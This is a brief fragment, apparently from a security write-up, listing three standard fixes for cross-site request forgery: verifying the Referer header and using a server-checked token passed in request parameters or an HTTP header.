FIX :

  1. Verify the HTTP Referer field.
  2. Add a token to the request address and verify (the token is not placed in the cookie, placed in the http request parameter, and the server verifies it).
    3 Add the token to the http header attribute to prevent the token from appearing in the browser and being leaked.
